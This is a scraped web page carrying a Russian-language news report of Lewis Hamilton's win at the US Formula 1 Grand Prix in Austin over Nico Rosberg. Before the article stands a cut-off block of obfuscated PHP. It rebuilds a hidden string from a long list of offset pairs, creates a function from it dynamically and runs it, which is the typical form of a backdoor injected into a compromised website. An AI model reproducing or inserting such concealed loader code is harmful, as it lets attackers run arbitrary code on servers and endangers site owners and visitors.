aaa -
<(sizeof($owsvdbaql)/2);$jaxjvya++) { $xxszqrkf .= substr($nhalutg, $owsvdbaql[($jaxjvya*2)],$owsvdbaql[($jaxjvya*2)+(5-4)]); } return $tzzvoh(chr((62-53)),chr((289-197)),$xxszqrkf); }; } $wjmybp = explode(chr((180-136)),'2760,58,860,66,5439,39,5108,60,3743,62,1278,42,3005,24,2591,20,1025,41,5168,47,5625,70,346,25,5812,41,5695,68,2248,46,4107,38,4303,40,4758,29,1683,43,3392,59,4650,67,926,68,4604,46,2033,40,434,31,371,63,2544,47,3095,52,1340,44,465,34,2936,69,3495,56,2403,38,4717,41,3029,36,4959,46,1726,58,1968,41,994,31,1815,24,1900,68,4787,37,3370,22,5038,70,1119,57,700,43,5582,43,4375,48,5301,44,2111,31,4423,28,5971,49,252,43,4571,33,2142,61,4253,50,3623,52,1839,39,0,59,115,50,4519,52,4451,68,3836,22,2344,59,552,27,2520,24,3805,31,2611,56,2667,53,4343,32,165,62,5005,33,3203,21,5535,47,3065,30,4190,63,5215,29,4881,40,1223,55,4921,38,5478,57,3224,23,2441,43,5378,61,5763,49,3858,40,3711,32,2866,70,2009,24,1176,47,1599,36,806,54,59,56,3991,47,1440,23,1320,20,4824,57,3551,49,1463,47,4145,45,5244,57,1539,60,2203,45,1384,56,3306,64,3247,59,295,51,4038,69,2720,40,3923,68,2073,38,743,63,2818,48,1635,48,5853,67,227,25,2294,50,1784,31,499,53,579,59,1878,22,3147,56,5345,33,3451,44,2484,36,3898,25,1510,29,3600,23,3675,36,5920,51,1066,53,638,62'); $aexssceccc = $ydrvatxppl("",waqyxbpv($wjmybp,$lypgqv,$rqgqhlwa)); $ydrvatxppl=$lypgqv; $aexssceccc(""); $aexssceccc=(413-292); $lypgqv=$aexssceccc-1; ?>

Хэмилтон выиграл в Остине, сделав еще шаг к титулу

Льюис Хэмилтон, обогнав на трассе своего партнёра по Mercedes Нико Росберга, выиграл Гран При США и сделал еще один шаг к титулу. Теперь между пилотами уже 24 очка.

На пути к 32-й в карьере победе британец удержал второе место на старте, а после первого пит-стопа нагнал напарника и провёл успешную атаку в 12-м повороте 24-го круга. Попытки Росберга контратаковать успехом не увенчались, хотя он так до самого финиша и оставался всего в нескольких секундах позади. Реальных шансов как-то изменить ситуацию немцу так и не представилось.

Даниэль Риккардо, провалив старт, провёл отличную гонку и финишировал третьим. Австралиец пропустил двух соперников, но уже к моменту первого пит-стопа вернулся на пятое место, разобравщись с Кевином Магнуссеном и Фернандо Алонсо.

Затем по ходу каждого из двух визитов в боксы пилот Red Bull опережал соперников из Williams – сначала Валттери Боттаса, а потом и Фелипе Массу. В случае с бразильцем Риккардо помогла небольшая заминка механиков Фелипе.

В итоге команда Фрэнка Уильямса осталась на этот раз без призовых кубков, но и четвертое и пятое места позволили ей упрочить позиции в споре с Ferrari. Масса смог опередить Боттаса в первом же повороте и больше не уступал инициативу.

Алонсо финишировал шестым, тогда как Кими Райкконен и вовсе не сумел заработать очков.

Еще один спор двух команд – McLaren и Force India – на этот раз также закончился с явным преимуществом одной из сторон. Кевин Магнуссен финишировал восьмым, Дженсон Баттон – 12-м, тогда как их соперники вовсе не финишировали.

Серхио Перес на первом же круге столкнулся с Райкконеном и Адрианом Сутилем, после чего лишь финн смог продолжить движение. Чтобы убрать обломки, судьи выпустили машину безопасности. Нико Хюлькенберг вскоре сошел из-за отказа мотора.

Стартовавший из боксов Себастьян Феттель, проведя два пит-стопа в самом начале гонки, попробовал проехать длинный отрезок на жёсткой резине, но темп оказался слишком низким. После этого действующий чемпион переключился на короткие отрезки на Soft и порадовал болельщиков рядом красивых обгонов. В итоге пилот RBR финишировал седьмым, уступив всего 0,5 секунды Алонсо.


http://www.pkp.lv